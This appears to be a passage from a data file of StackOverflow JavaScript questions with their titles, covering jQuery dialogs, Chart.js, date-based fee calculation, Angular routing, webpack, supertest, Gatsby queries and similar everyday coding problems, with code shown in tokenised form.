aiutato '' ) ; http : //api.jquery.com/submit/There is a example at the end of the site and it works fine on my pc.Now I public my code or exercise where I use the form inside the window 's dialog ( Jquery ) .I want programmed and I have the solution but the script inside the function 's javascript does n't work.Why ? Now I speak about my project.Using the dialog 's window ( Jquery my code ) for adding anything.The project does n't work . Because ( using Firebug Console ) it gives me this error too much recursion on the library jquery.min.js line 2 after pressing the button add the Dialog.How can I improve the code to run the alert ? My Project : I looked also this question How to change the querystring when I submit my GET form using JQuery ? and he used ( always inside the function 's submit ) this script : But it does n't work either . < html > < head > < title > < /title > < meta http-equiv= '' Content-Type '' content= '' text/html ; charset=UTF-8 '' / > < style > < /style > < /head > < script src= '' http : //ajax.googleapis.com/ajax/libs/jquery/1.8.2/jquery.min.js '' > < /script > < script src= '' http : //ajax.googleapis.com/ajax/libs/jqueryui/1.8.23/jquery-ui.min.js '' > < /script > < link href= '' http : //ajax.googleapis.com/ajax/libs/jqueryui/1.8/themes/base/jquery-ui.css '' rel= '' stylesheet '' type= '' text/css '' / > < script type= '' text/javascript '' > // < -- -- VENTAÑAS DE PARAMETERES -- -- > $ ( document ) .ready ( function ( ) { var regex , v , l , c , b , i , contapara=3 ; $ ( `` # wnd_Addparam '' ) .dialog ( { autoOpen : false , height : 'auto ' , width : 350 , modal : true , resizable : false , buttons : { `` Add '' : function ( ) { contapara= ( parseInt ( contapara ) +1 ) ; alert ( `` popopo '' ) ; $ ( `` # formparam '' ) .submit ( function ( ) { alert ( `` Se funziona questo mi hai aiutato '' ) ; } ) ; $ ( this ) .dialog ( `` close '' ) ; } , Cancel : function ( ) { $ ( this ) .dialog ( `` close '' ) ; } } , close : function ( ) { $ ( this ) .dialog ( `` close '' ) ; } } ) ; $ ( `` # btn_Addpar '' ) .click ( function ( ) { i= ( parseInt ( contapara ) +1 ) ; $ ( `` # formparam '' ) .remove ( ) ; $ ( `` # wnd_Addparam '' ) .append ( ' < form method= '' GET '' name= '' formparam '' id= '' formparam '' action= '' $ { nextstep } '' > < table > < tr > < td > < label > ID < /label > < /td > < td > \ < textarea class= '' expand '' name= '' inputp'+i+'_id '' id= '' inputp'+i+'_id '' > < /textarea > < /td > < /tr > \ < tr > < td > < label > Type < /label > < /td > < td > < select name= '' inputp'+i+'_type '' id= '' inputp'+i+'_type '' > \ < option value= '' text '' > Text < /option > < option value= '' integer '' > Integer < /option > < option value= '' float '' > Float < /option > \ < option value= '' list_values '' > List of values < /option > < option value= '' range '' > Range < /option > \ < option value= '' selection_collapsed '' > Selection ( collapsed ) < /option > \ < option value= '' selection_expanded '' > Selection ( expanded ) < /option > \ < option value= '' subimage '' > Subimage selection < /option > \ < option value= '' polygon '' > Polygon selection < /option > \ < option value= '' horizontal_separator '' > Horizontal separator < /option > \ < /select > < /td > < /tr > < /table > < /form > ' ) ; $ ( `` # wnd_Addparam '' ) .dialog ( `` open '' ) ; } ) ; } ) ; < /script > < body > < div > < input type= '' button '' id= '' btn_Addpar '' value= '' Add '' / > < input type= '' button '' id= '' btn_Deletepara '' value= '' Delete '' / > < input type= '' button '' id= '' btn_Pedit '' value= '' Edit '' / > < /div > < div id= '' wnd_Addparam '' title= '' New parameter '' > < /div > < /body > < /html > function ( event ) { event.preventDefault ( ) ; $ this = $ ( this ) ; alert ( `` Se funziona questo mi hai aiutato '' ) ; }",Particular case : Programmed Query string using form inside dialog "JS : I use line of Chart.js ( Version : 2.7.2 ) in my application and I open dialog when clicking on some element andI need to get label ( date on xAxes ) of the current element . Googling I found examples and trying to make as next : But on the last line I got error : In the console I see the propeerties of the lineChart object : https : //imgur.com/a/E7jsoBcWhy error and how to get label property ? Thank you ! var lineCanvas = document.getElementById ( `` canvasVotesByDays '' ) ; var ctx = lineCanvas.getContext ( '2d ' ) ; var lineChart = new Chart ( ctx , { type : 'line ' , data : { labels : monthsXCoordItems , datasets : [ { label : 'Correct Votes ' , ... lineCanvas.onclick = function ( e ) { console.log ( `` INSIDE lineChart : : '' ) console.log ( lineChart ) var slice = lineChart.getPointsAtEvent ( e ) ; ... Uncaught TypeError : lineChart.getPointsAtEvent is not a function at HTMLCanvasElement.lineCanvas.onclick",How to get date label of line Chart ? "JS : A form with 50 entries : each with P1-48 , E1-48 , and X1-48 . I want to calculate the Entry Fee `` E1 '' based on the expires date X1 . The js date format for the expires date is YYYY.MM.DD , ex . 2018.04.21 and a player pays $ 3 if his expires date is greater or equal to today 's date . He pays $ 5 if his expires date is older or less than today 's date . But if the expires date is blank and the player pays a membership fee , the Entry Fee is waived to zero . JS : I also have this as a `` template '' starting guide . I think it could be modified and piggyback the target result onto it . HTML : Funny thing is : < script src = `` js/moment.min.js '' > < /script > < script > // change expiration date colorfunction getExpireDate ( ele ) { var i = null ; for ( i = 0 ; members.length > i ; i++ ) { if ( members [ i ] .Name == ele.value ) { var exDate = moment ( members [ i ] .Expires , 'YYYY.MM.DD ' ) ; if ( moment ( ) .isAfter ( exDate ) ) { $ ( ele ) .closest ( '.universal ' ) .find ( '.expDate ' ) .css ( 'color ' , `` # A3005B '' ) ; } else { $ ( ele ) .closest ( '.universal ' ) .find ( '.expDate ' ) .css ( 'color ' , `` # 275052 '' ) ; } return members [ i ] .Expires ; } } return `` ; } < /script > < script > for ( let i = 0 ; i < = 48 ; i++ ) { $ ( `` # P '' + i ) .on ( `` blur '' , function ( ) { $ ( `` # X '' +i ) .val ( getExpireDate ( this ) ) ; } ) ; } < /script > < script > var members [ { `` Name '' : `` Jones , David '' , `` Expires '' : `` 2017.05.03 '' } , { `` Name '' : `` Roth , Bill '' , `` Expires '' : `` 2017.03.08 '' } , { `` Name '' : `` Scullin , Kenn '' , `` Expires '' : `` 2019.02.20 '' } ] < script > < div > < input type = `` text '' id = `` P1 '' > < ! -- Player -- > < input type = `` text '' id = `` E1 '' > < ! -- Entry Fee -- > < input type = `` text '' id = `` M1 '' > < ! -- Membership Fee -- > < input type = `` text '' id = `` X1 '' onblur= '' getExpireDate ( ) '' class= '' expDate '' > < ! -- expires -- > < div > < input type = `` text '' onblur= '' getClass ( ) '' class= '' text '' id= '' Y1 '' maxlength = `` 4 '' size = `` 4 '' disabled / > < ! -- works even with input disabled -- > < input type = `` text '' onblur= '' calcEntryFee ( this ) ; '' class= '' expDate '' name = `` exp '' id= '' X1 '' maxlength = `` 10 '' size = `` 10 '' disabled / > < ! -- new code does n't work -- > < script > // Lookup class or ratingfunction getClass ( ele ) { var i = null ; for ( i = 0 ; members.length > i ; i++ ) { if ( members [ i ] .Name == ele.value ) { return members [ i ] .Rating ; } } return ; } for ( let i = 0 ; i < = 48 ; i++ ) { $ ( `` # P '' + i ) .on ( `` blur '' , function ( ) { $ ( `` # Y '' +i ) .val ( getClass ( this ) ) ; } ) ; } < /script >",Calculate input field based on expiry date "JS : How can I draw an arrowhead in hummusJS ? I am using hummus for drawing in pdf . I need to draw an arrow in pdf . I am able to draw the line . But how can I draw an arrowhead ? I tried the following I tried like this alsoBut this is not drawing arrowhead in the correct positionhere is the image if ( x2 > y2 ) { a1 = x2-5 ; b1 = y2-5 ; a2 = x2-5 ; b2 = y2+5 ; a3 = x2+5 ; b3 = y2 ; } else { a1 = x2-5 ; b1 = y2+5 ; a2 = x2+5 ; b2 = y2+5 ; a3 = x2 ; b3 = y2-5 ; } cxt.drawPath ( a1 , b1 , a2 , b2 , a3 , b3 , { type : 'fill ' , color : ' # 000000 ' } ) var d =5 ; a1 = x2-d*Math.sin ( 45 ) ; b1 = y2-d*Math.cos ( 45 ) ; a2 = x2+d*Math.sin ( 45 ) ; b2 = y2+d*Math.cos ( 45 ) ; cxt.drawPath ( x2 , y2 , a1 , b1 , { type : 'fill ' , color : ' # 000000 ' } ) cxt.drawPath ( x2 , y2 , a2 , b2 , { type : 'fill ' , color : ' # 000000 ' } )",draw an arrow head HummusJS JS : I 'm in a situation where I would want to know if a function is already bound in order to set a warning message when that function is invoked with call or apply with a different context . I checked the function object in Firefox and Chrome console and the only difference I found is that the bound version has the name prefixed with bound.Is this a reliable check ? Are there more ways to find iffunction is already bound ? *NOTE : Not interested in older browsers ( ex : < ie10 ) function myfn ( ) { } /* or */var myfn = function ( ) { } var ref = myfn.bind ( null ) ; > myfn.name > `` myfn '' > ref.name > `` bound myfn '',Better way to check if function is already bound in plain JavaScript ? "JS : The code below is able to get the geolocation and prints it out . I got this based on some tutorials online and looking at Swift Documents . I want to pass geolocations in the form of Strings from Swift 2 to Javascript . I am able to get the GeoLocations , I do not know how to pass these Strings to my Javascript Code in the Webview . Below is the Code I have : I have javascript on my website with this method : I have looked at another question labelled Pass variable from Swift to Javascript with the following solution : However I have no appDelegate , and I want to directly from this view make these changes . So I get a `` use of unresolved identifier appDelegate '' . @ IBOutlet weak var Webview : UIWebView ! let locMgr = CLLocationManager ( ) override func viewDidLoad ( ) { super.viewDidLoad ( ) loadAddressURL ( ) locMgr.desiredAccuracy = kCLLocationAccuracyBest locMgr.requestWhenInUseAuthorization ( ) locMgr.startUpdatingLocation ( ) locMgr.delegate = self //necessary } func locationManager ( manager : CLLocationManager , didUpdateLocations locations : [ CLLocation ] ) { let myCurrentLoc = locations [ locations.count-1 ] var myCurrentLocLat : String = `` \ ( myCurrentLoc.coordinate.latitude ) '' var myCurrentLocLon : String = `` \ ( myCurrentLoc.coordinate.longitude ) '' print ( myCurrentLocLat ) print ( myCurrentLocLon ) //pass to javascript here by calling setIOSNativeAppLocation } function setIOSNativeAppLocation ( lat , lon ) { nativeAppLat = lat ; nativeAppLon = lon ; alert ( nativeAppLat ) ; alert ( nativeAppLon ) ; } func sendSomething ( stringToSend : String ) { appController ? .evaluateInJavaScriptContext ( { ( context ) - > Void in //Get a reference to the `` myJSFunction '' method that you 've implemented in JavaScript let myJSFunction = evaluation.objectForKeyedSubscript ( `` myJSFunction '' ) //Call your JavaScript method with an array of arguments myJSFunction.callWithArguments ( [ stringToSend ] ) } , completion : { ( evaluated ) - > Void in print ( `` we have completed : \ ( evaluated ) '' ) } ) }",Passing Geolocation from Swift 2 ViewController to Javascript Method JS : Consider the code : This does n't work either : As neither does this : And basically I 've tried all possible ways and neither seem to do the job . Can someone please explain why ? window.a = function ( x ) { var r = x*2 ; window.a =alert ; // redefines itself after first call return r ; } ; a ( ' 2 * 2 = '+a ( 2 ) ) ; // does n't work . it should 've alerted `` 2 * 2 = 4 '' window.a = function ( x ) { alert ( x ) ; window.a = function ( x ) { // redefines itself after first call var r = x*2 ; return r ; } } ; a ( ' 2 * 2 = '+a ( 2 ) ) ; // does n't work . it should 've alerted `` 2 * 2 = 4 '' window.a = function ( x ) { alert ( x ) ; window.c = window.a ; window.a = window.b ; window.b = window.c ; } ; window.b = function ( x ) { var r = x*2 ; window.c = window.b ; window.b = window.a ; window.a = window.c ; return r ; } ; a ( ' 2 * 2 = '+a ( 2 ) ) ; // does n't work .,Why Javascript does n't let a function redefine itself from within itself ? "JS : Folks , I have a branch called user/foo that I 'd like to check out from remote . Code : error : Am I using checkoutBranch incorrectly ? I already have the remote cloned to a local directory , and am trying to switch to a particular branch.Thanks ! Git.prototype.refresh = function refresh ( branch ) { var options = { credentials : function ( ) { return NodeGit.Cred.userpassPlaintextNew ( GITHUB_TOKEN , `` x-oauth-basic '' ) ; } , certificateCheck : function ( ) { return 1 ; } } ; return NodeGit.Repository.open ( localPath ) .then ( function ( repo ) { return repo.checkoutBranch ( branch , options ) .then ( function ( checkoutresult ) { return repo.fetchAll ( options ) .then ( function ( result ) { return Promise.resolve ( result ) ; } ) .catch ( function ( err ) { console.log ( 'Unable to fetch ' , err ) ; return Promise.reject ( new Error ( err ) ) ; } ) ; } ) .catch ( function ( err ) { console.log ( 'checkoutBranch ' , err ) ; return Promise.reject ( new Error ( err ) ) ; } ) ; } ) ; } ; [ Error : Error : Reference 'refs/remotes/user/foo/HEAD ' not found ]",javascript nodegit unable to find remote JS : Lets say I have this DOM structureUsing jQuery I want to get to know the FIRST shared parent of theand theFrom down to top this would be the < p > not the < body > tag.Any ideas on how to determine the first shared parent utilizing jQuery ? < body > < p > Hello < i > how < b > are < /b > you < /i > and < i > what < b > are < tt > you < /tt > going < /b > to < /i > eat tonight ? < /p > < /body > < b > are < /b > < tt > you < /tt >,Finding the first shared parent of two elements "JS : The goal of this work is to understand and play with meaning of some object concept I 've heard arround.About the bountyThere is a lot of different way / approach to do this.My tries are not really clean : for adding a 2st clock , with another timezone , I have to edit 3 different places . This is not well ( see at bottom of the answer ) .How could I do something more useful ? In the begining : post-edit : the initial question was about choosing between jquery and mootools , now choice as been made ; the goal is to improve this , with the use of mootools.There is a little sample/demo i wrote to play with javascript and svg : ( Originaly posted at jsfiddle ) as I 'm not very experienced with javascript jquery and/or mootools , I would like to know if some simplier methods exists , maybe in writting this in a different manner.how to do simple rotation about a fixed center , using jquery or mootools : how to objectize this code ? ( if even it could be a good thing ) ... All samples using object orientation , specific library , or else are welcome ! var cx =128 ; var cy =128 ; var slen=120 ; var mlen=116 ; var hlen= 80 ; var selem ; var melem ; var helem ; function setvars ( ) { selem=document.getElementById ( `` seconds '' ) ; melem=document.getElementById ( `` minutes '' ) ; helem=document.getElementById ( `` hours '' ) ; drawtime ( ) ; } ; function drawtime ( ) { var now=new Date ( ) ; var nows=now.getTime ( ) % 60000 ; var nowm=now.getMinutes ( ) *1.0+1.0*nows/60000 ; var nowh=now.getHours ( ) *1.0+1.0*nowm/60 ; var sposx=cx + slen * Math.sin ( nows / 30000 * Math.PI ) ; var sposy=cy - slen * Math.cos ( nows / 30000 * Math.PI ) ; var mposx=cx + mlen * Math.sin ( nowm / 30 * Math.PI ) ; var mposy=cy - mlen * Math.cos ( nowm / 30 * Math.PI ) ; var hposx=cx + hlen * Math.sin ( nowh / 6 * Math.PI ) ; var hposy=cy - hlen * Math.cos ( nowh / 6 * Math.PI ) ; selem.setAttribute ( `` x1 '' , sposx ) ; selem.setAttribute ( `` y1 '' , sposy ) ; selem.setAttribute ( `` x2 '' , sposx ) ; selem.setAttribute ( `` y2 '' , sposy ) ; melem.setAttribute ( `` x2 '' , mposx ) ; melem.setAttribute ( `` y2 '' , mposy ) ; helem.setAttribute ( `` x2 '' , hposx ) ; helem.setAttribute ( `` y2 '' , hposy ) ; window.setTimeout ( drawtime,80 ) } ; setvars ( ) ; # box1 { stroke : black ; } # minutes { stroke : # 2266AA ; } # hours { stroke : # 3388CC ; } # seconds { stroke : # CCCC22 ; } line , circle { opacity:0.65 ; fill : none ; stroke-width:8 ; stroke-linecap : round ; stroke-linejoin : round ; marker : none ; stroke-miterlimit:4 ; stroke-dasharray : none ; stroke-opacity:1 ; visibility : visible ; display : inline ; overflow : visible ; enable-background : accumulate } < svg xmlns= '' http : //www.w3.org/2000/svg '' id= '' svg2 '' width= '' 100 % '' height= '' 100 % '' viewBox= '' 0 0 900 256 '' version= '' 1.0 '' > < title id= '' title1 '' > Clock < /title > < circle id= '' box1 '' cy= '' 128 '' cx= '' 128 '' r= '' 124 '' / > < line id= '' hours '' x1= '' 128 '' y1= '' 128 '' x2= '' 128 '' y2= '' 48 '' / > < line id= '' minutes '' x1= '' 128 '' y1= '' 128 '' x2= '' 244 '' y2= '' 128 '' / > < line id= '' seconds '' x1= '' 128 '' y1= '' 8 '' x2= '' 128 '' y2= '' 8 '' / > < /svg > var hposx=cx + hlen * Math.sin ( nowh / 6 * Math.PI ) ; var hposy=cy - hlen * Math.cos ( nowh / 6 * Math.PI ) ; helem.setAttribute ( `` x2 '' , hposx ) ; helem.setAttribute ( `` y2 '' , hposy ) ;",How to implement *object* for improve my clock sample javascript program "JS : EDIT : So now it 's not random and it looks like it always fails to execute from the .css ( ) method ( no change were made ) . Still do n't get the mistake I may have made though.I 'm trying to animate the removal of a div with jQuery and animate.css.Problem is the events and operations this animation depends on literally execute randomly.This code runs in response to a click , inside an .on ( `` click '' ... handler : Depending on the page load , nothing happens , sometimes only the first log , sometimes it only gets to the CSS transition , sometimes it 's complete . Tested on Firefox and Chromium.I 'm probably misinterpretating something , cause it seems really strange . $ ( 'section ' ) .on ( 'click ' , 'button ' , function ( ) { // Remove the selected card $ ( this ) .closest ( '.mdl-card ' ) .addClass ( 'animated zoomOut ' ) .one ( 'animationend ' , function ( ) { empty_space = $ ( ' < div id= '' empty-space '' > < /div > ' ) ; empty_space.css ( 'height ' , ( $ ( this ) .outerHeight ( true ) ) ) ; $ ( this ) .replaceWith ( empty_space ) ; } ) ; // everything is okay until now // setTimeOut ( ) does n't always execute setTimeout ( function ( ) { console.log ( `` test1 '' ) ; // the following does n't always happen ... $ ( ' # empty-space ' ) .css ( { 'height ' : ' 0 ' , 'transition ' : 'height .3s ' // transitionend does n't always fire either } ) .one ( 'transitionend ' , function ( ) { $ ( ' # empty-space ' ) .remove ( ) ; console.log ( `` test2 '' ) ; } ) ; } , 300 ) ; // Upgrade the DOM for MDL componentHandler.upgradeDom ( ) ; } ) ; /* Animate.css customization */.animated { animation-duration : .3s } < head > < link href= '' https : //cdnjs.cloudflare.com/ajax/libs/animate.css/3.5.2/animate.min.css '' rel= '' stylesheet '' / > < link href= '' https : //code.getmdl.io/1.3.0/material.indigo-pink.min.css '' rel= '' stylesheet '' / > < /head > < body > < section > < div class= '' mdl-card '' > < button class= '' mdl-button mdl-js-button '' > Close < /button > < /div > < p > Content to test the height of the div above < /p > < /section > < script src= '' https : //code.getmdl.io/1.3.0/material.min.js '' > < /script > < script src= '' https : //code.jquery.com/jquery-3.1.1.min.js '' > < /script > < /body >","setTimeout , jQuery operation , transitionend executed/fired randomly" "JS : I 'm still working on a project using Angular2.If you want more details about why I need to do what I 'm going to explain , please refer this issue.I have an AppComponent which is bootstraped via bootstrap . It 's a very simple component : This component includes another one : MainComponent ( via the main-cmp selector ) . For some reasons , I want to set up my routing in MainComponent.Here is the code : Finally , MainComponent includes NavComponent which is a very basic nav.The thing is , with this setup , I encounter this issue : EXCEPTION : Component `` AppComponent '' has no route config . in [ [ 'Home ' ] in NavComponent @ 2:15 ] .Of course , if I move my router 's logic to AppComponent , everything works well.So my question is : is there a way to do routing stuff into another component than the one which is bootstraped ? Thanks : ) . @ Component ( { selector : 'app-view ' , directives : [ Devtools , MainComponent ] , template : ` < ngrx-devtools > < /ngrx-devtools > < main-cmp > < /main-cmp > ` } ) export class AppComponent { } @ Component ( { selector : 'main-cmp ' , directives : [ ROUTER_DIRECTIVES , NavComponent ] , template : ` < h1 > App < /h1 > < nav-cmp > < /nav-cmp > < router-outlet > < /router-outlet > ` } ) @ RouteConfig ( [ { path : '/home ' , name : 'Home ' , component : HomeComponent , useAsDefault : true } , { path : '/medias ' , name : 'Medias ' , component : MediasComponent } ] ) export class MainComponent { constructor ( private router : Router , private store : Store < AppStore > ) { router.subscribe ( url = > store.dispatch ( changeUrl ( url ) ) ) ; } }",Angular 2 : defining a Router on another Component than the bootstraped one "JS : How to scroll up and down the left column when I 'm scrolling over the map canvas ? Map has disabled scroll wheel propagation , it would be nice to accomplish it if possible only by CSS . I 've tried to wrap # map_canvas by other div with flex property and set map to position absolute and 100vh/vw , but it does n't make difference with wheel bubble . $ ( document ) .ready ( function ( ) { var post = `` < h3 > Post title < /h3 > < div > Donec id elit non mi porta gravida at eget metus . Maecenas sed diam eget risus varius blandit. < /div > < hr > '' ; var i = 0 ; while ( i < 10 ) { $ ( ' # left_container ' ) .append ( post ) ; i++ ; } var options = { zoom : 10 , scrollwheel : false , center : new google.maps.LatLng ( 49 , 17 ) } ; var map = new google.maps.Map ( $ ( ' # map_canvas ' ) [ 0 ] , options ) ; $ ( `` # map_canvas '' ) .scrollLeft ( ) ; } ) ; .flexbox-container { display : -ms-flex ; display : -webkit-flex ; display : flex ; flex-direction : row ; flex-wrap : wrap ; height : 100vh ; } .flexbox-container # left_container { flex : 1 ; padding : 0 5px ; overflow-y : auto ; height : 100vh ; } # map_canvas { flex : 2 ; } < script src= '' https : //ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js '' > < /script > < script type= '' text/javascript '' src= '' http : //maps.googleapis.com/maps/api/js ? v=3 & amp ; sensor=false '' > < /script > < div class= '' flexbox-container '' > < div id= '' left_container '' > < /div > < div id= '' map_canvas '' > < /div > < /div >",How to scroll left column when cursor is above right column ? "JS : Long story short , I can not have certain characters like hyphens in our asset filenames . I 'm not having the best of luck parsing through webpack documentation to figure out if it is possible to rename a file using a regex or something similar so I can strip out any hyphens from 3rd party packages where I do not control the source filename.My super naive example would be something like this : Does anyone know if this is possible or how one would approach this requirement ? Thanks ! { test : /\ . ( ttf|eot|woff|woff2 ) $ / , loader : ` url-loader ? limit= $ { ASSETS_LIMIT } & name=fonts/ [ name.replace ( /-/ ) ] . [ ext ] ` }",Is it possible to strip special characters from filenames in webpack ? JS : Could anyone help me on how I can remove div tags without removing their content in JavaScript ? This is my html from which I need to remove all div tags : Expected output would be like shown below . < div id= '' id1 '' class= '' someclass '' > < p > some text < label > Test content < /label > < /p > < div id= '' id2 '' style= '' overfolw : scroll '' > < span > some text < /span > < div id= '' level3 '' > < label > Test content < /label > < a href= '' https : //twitter.com/realDonaldTrump/status/882186896285282304 '' target=_blank rel=noopener > creepiness < /a > < /div > < /div > < /div > < p > some text < label > Test content < /label > < /p > < span > some text < /span > < label > Test content < /label > < a href=https : //twitter.com/realDonaldTrump/status/882186896285282304 target=_blank rel=noopener > creepiness < /a >,Removing divs without removing their content in plain Javascript "JS : I 'm using the supertest module to test my Rest API . my API sends JSON all the time . so I 'm doing .expect ( 'Content-Type ' , /json/ ) for all and each test ! I 'm repeating again and again ! this is some of my codeIs there any other way ? somethink like the superagent-defaults module but for supertest not superagent ? or is it possible to use superagent-defaults with supertest ? thank you for any help you are able to provide . : ) it ( 'should list ALL permissions on /permissions GET ' , ( done ) = > { request ( app ) .get ( permissionsURL ) .expect ( 200 ) .expect ( 'Content-Type ' , /json/ ) .end ( ( err , res ) = > { var permissions = res.body ; permissions.should.be.an.instanceOf ( Array ) ; var permission = permissions [ 0 ] ; permission.should.be.json ; permission.should.have.properties ( [ 'name ' , '_id ' ] ) ; permission.name.should.be.a.String ( ) ; // permission.should.not.have.property ( '__v ' ) ; done ( err ) ; } ) ; } ) ; it ( 'should list a SINGLE permission on /permissions/ < id > GET ' , ( done ) = > { request ( app ) .get ( permissionsURL +savedPermissionId ) .expect ( 200 ) .expect ( 'Content-Type ' , /json/ ) .end ( ( err , res ) = > { var permission = res.body ; permission.should.be.json ; permission.should.have.properties ( [ 'name ' , '_id ' ] ) ; permission.name.should.be.a.String ( ) ; // permission.should.not.have.property ( '__v ' ) done ( err ) ; } ) ; } ) ;",Is there any way to set defaults in supertest ? JS : I 've got one problem.There is a jQuery `` more text '' animated div ( slideToggle ) and showed text jumps . I do n't know why . Could somebody help me ? HTML : jQuery : ISSUE on jsfiddle < div class= '' slide-button two '' > < span > More < /span > < div class= '' hidden '' > < p > hidden < /p > < /div > < /div > $ ( document ) .ready ( function ( ) { $ ( '.hidden ' ) .hide ( ) ; $ ( '.slide-button ' ) .click ( function ( ) { $ ( '.hidden ' ) .slideToggle ( 'slow ' ) ; } ) ; } ) ;,jQuery slideToggle — div jumps "JS : This is my nested ObjectI wanted to convert the above to the following formatI wrote below code to do thisI want to simplify the above function ? How can I achieve this ? var arr = [ { `` children '' : [ { `` children '' : [ { `` children '' : [ ] , `` Id '' : 1 , `` Name '' : `` A '' , `` Image '' : `` http : //imgUrl '' } ] , `` Id '' : 2 `` Name '' : `` B '' , `` Image '' : `` http : //imgUrl '' } ] , `` Id '' :3 , `` Name '' : `` C '' , `` Image '' : `` http : //imgUrl '' } ] [ { `` Name '' : `` C '' , `` Id '' : 3 , `` Image '' : `` http : //imgUrl '' } , { `` Name '' : `` B '' , `` Id '' : 2 , `` Image '' : `` http : //imgUrl '' } , { `` Name '' : `` A '' , `` Id '' : 1 , `` Image '' : `` http : //imgUrl '' } ] var newArr = [ ] function getNestedObj ( obj ) { if ( obj.length ) { for ( var i=0 ; i < obj.length ; i++ ) { var newObj = { } ; newObj.Name = obj [ i ] .Name ; newObj.Id = obj [ i ] .Id ; newObj.Image = obj [ i ] .Image ; newArr.push ( newObj ) ; if ( obj [ i ] .children.length ! =0 ) { getNestedObj ( obj [ i ] .children ) } else { return newArr ; } } } }",How to simplify conversion of nested object into array of objects ? "JS : This is an example from Eloquent Javascript : By starting from the number 1 and repeatedly either adding 5 or multiplying by 3 , an infinite amount of new numbers can be produced . How would you write a function that , given a number , tries to find a sequence of additions and multiplications that produce that number ? I 'm having trouble understanding how the recursion is working here , wondering if someone could write out a couple times how find is getting called or some other explanation . function findSequence ( goal ) { function find ( start , history ) { if ( start == goal ) return history ; else if ( start > goal ) return null ; else return find ( start + 5 , `` ( `` + history + `` + 5 ) '' ) || find ( start * 3 , `` ( `` + history + `` * 3 ) '' ) ; } return find ( 1 , `` 1 '' ) ; } console.log ( findSequence ( 24 ) ) ; // = > ( ( ( 1 * 3 ) + 5 ) * 3 )",How does this recursion work ? "JS : currently I have an array levels containing other arrays called level and these ones contain stages.I want to map all objects within a level with a new property called position . This position returns the distance from the center of the array . By center I mean the length / 2.If the arrays length is even I want the following range ... -3.5 , -2.5 , -1.5 , -0.5 , 0.5 , 1.5 , 2.5 , 3.5 ... If the arrays length is not even I want the following range ... -4 , -3 , -2 , -1 , 0 , 1 , 2 , 3 , 4 ... I started creating thisThis is the result I getI really struggle with the math . All I want to do is to map each object in level fromstage ( object ) to const distanceLevels = [ [ { `` id '' : 1 } , { `` id '' : 8 } ] , [ { `` id '' : 2 } ] , [ { `` id '' : 3 } , { `` id '' : 4 } , { `` id '' : 5 } , { `` id '' : 7 } ] , [ { `` id '' : 6 } ] ] ; function getViewLevels ( ) { const viewLevels = [ ] ; // the new array as the result distanceLevels.forEach ( level = > { // one level containing the stages const levelLength = level.length ; const halfLevelLength = levelLength * 0.5 ; const levelLengthIsEven = levelLength % 2 == 0 ; let viewLevel = [ ] ; // the mapped level if ( levelLengthIsEven ) { addViewStage ( viewLevel , level [ Math.floor ( halfLevelLength ) ] , 0 ) ; } for ( let i = 0 ; i < halfLevelLength ; i++ ) { let rightPosition = i - halfLevelLength ; let leftPosition = i ; let leftStageIndex = i ; if ( levelLengthIsEven ) { leftPosition++ ; leftStageIndex += Math.floor ( halfLevelLength ) + 1 ; } else { rightPosition += 0.5 ; leftPosition += 0.5 ; leftStageIndex += halfLevelLength ; } addViewStage ( viewLevel , level [ i ] , rightPosition ) ; addViewStage ( viewLevel , level [ leftStageIndex ] , leftPosition ) ; } viewLevel = viewLevel.sort ( ( a , b ) = > a.position > b.position ) ; // sort the result by their position , means from negative to positive viewLevels.push ( viewLevel ) ; // add this new view level } ) ; console.log ( viewLevels ) ; // < -- -- result here ! } function addViewStage ( viewLevel , stage , position ) { // push a new element to the array viewLevel.push ( { stage : stage , position : position } ) ; } getViewLevels ( ) ; { stage : stage , position : position // with the correct range }",split array into range from negative to positive "JS : I am trying to understand more about the Date object in javascript.I thought that when you call valueOf ( ) , you get the amount of milliseconds since january 1 , 1970.So what I would expect is that the following should return exactly zero ; but it does not , it returns 30.958333333333332 . What am I missing ? gr , Coen alert ( ( new Date ( 1970 , 1 , 1 ) .valueOf ( ) ) / ( 86400 * 1000 ) ) ;",Date javascript "JS : I 'm new to learning React , and I 'm wondering why the following code does n't work as expected . I thought that it would display The numbers : 0123 but it only displays 0 . I 've also used the same approach with class based component , and using hooks and I still get the same result . What am I not understanding with react rendering using async code ? import React from `` react '' ; import ReactDOM from `` react-dom '' ; function App ( ) { let numbers = [ 0 ] ; fetch ( `` some.url '' ) .then ( res = > res.json ( ) ) .then ( list = > { for ( let n of list ) { numbers.push ( n ) ; } } ) ; return < div className= '' App '' > The numbers : { numbers } < /div > ; } const rootElement = document.getElementById ( `` root '' ) ; ReactDOM.render ( < App / > , rootElement ) ;",Understanding async React rendering "JS : I would like to take an object and remove some methods from it . i.e . I have internally have an object with getter/setters on it and I want to give external users access to it . I do n't want them to have access to the setter functions.I do n't want to change original object reference by removing methods from it but create a new object reference that points to the same object but has less methods on it.How would I go about doing this ? Is this a design-pattern ? Are there well known solutions for these kinds of problems ? I have an implementation of this function See live example , _.each _.bindAllFor all intended purposes the object returned should be the same as the original object except some of the methods are n't there anymore . The internal this reference should not break in any of the functions . The prototype chains should not break.What would be an intuitive name for such a function ? Are there any pitfalls with my current implementation that I should be aware of ? var readOnly = function ( obj , publicData ) { // create a new object so that obj is n't effected var object = new obj.constructor ; // remove all its public keys _.each ( object , function ( val , key ) { delete object [ key ] ; } ) ; // bind all references to obj _.bindAll ( obj ) ; // for each public method give access to it _.each ( publicData , function ( val ) { object [ val ] = obj [ val ] ; } ) ; return object ; } ;",removing public access to methods on an object "JS : According to this post , run the following codesAs we all know , the return value of the above anonymous function is undefined . Why ~undefined is -1 ? I could n't find any similar question . > ~function ( ) { console.log ( 'foo ' ) ; } ( ) foo -1",Why `` ~undefined '' is -1 in JavaScript ? "JS : I am currently building a gatsby site for a school project and came across something I could n't figure out myself.Basically I have some markdown files . They contain a frontmatter field called 'file ' with the name of another file ( for example : `` test.pdf '' ) as value.I need to know the public URL of these files.I tried to write my Query like this : But it always interpreted the field 'file ' as string , which I think is strange since I 've already did the same procedure with images like this : I 've already searched for an answer , but the most helpful result I could find was on this site : https : //www.gatsbyjs.org/docs/adding-images-fonts-files/But I could n't make it work . Can somebody tell me what I am doing wrong here ? Of course I could always write a second query with 'allFile ' and then match the markdown file with the pdf file by absolute paths but I hope there 's a better solution than that . query SiteQuery { publications : allMarkdownRemark ( filter : { fileAbsolutePath : { regex : `` /publications/ '' } } , sort : { order : DESC , fields : [ frontmatter___date ] } , ) { edges { node { frontmatter { date ( formatString : `` MMMM DD , YYYY '' ) , title , file { publicURL } } } } } } ... node { frontmatter { date 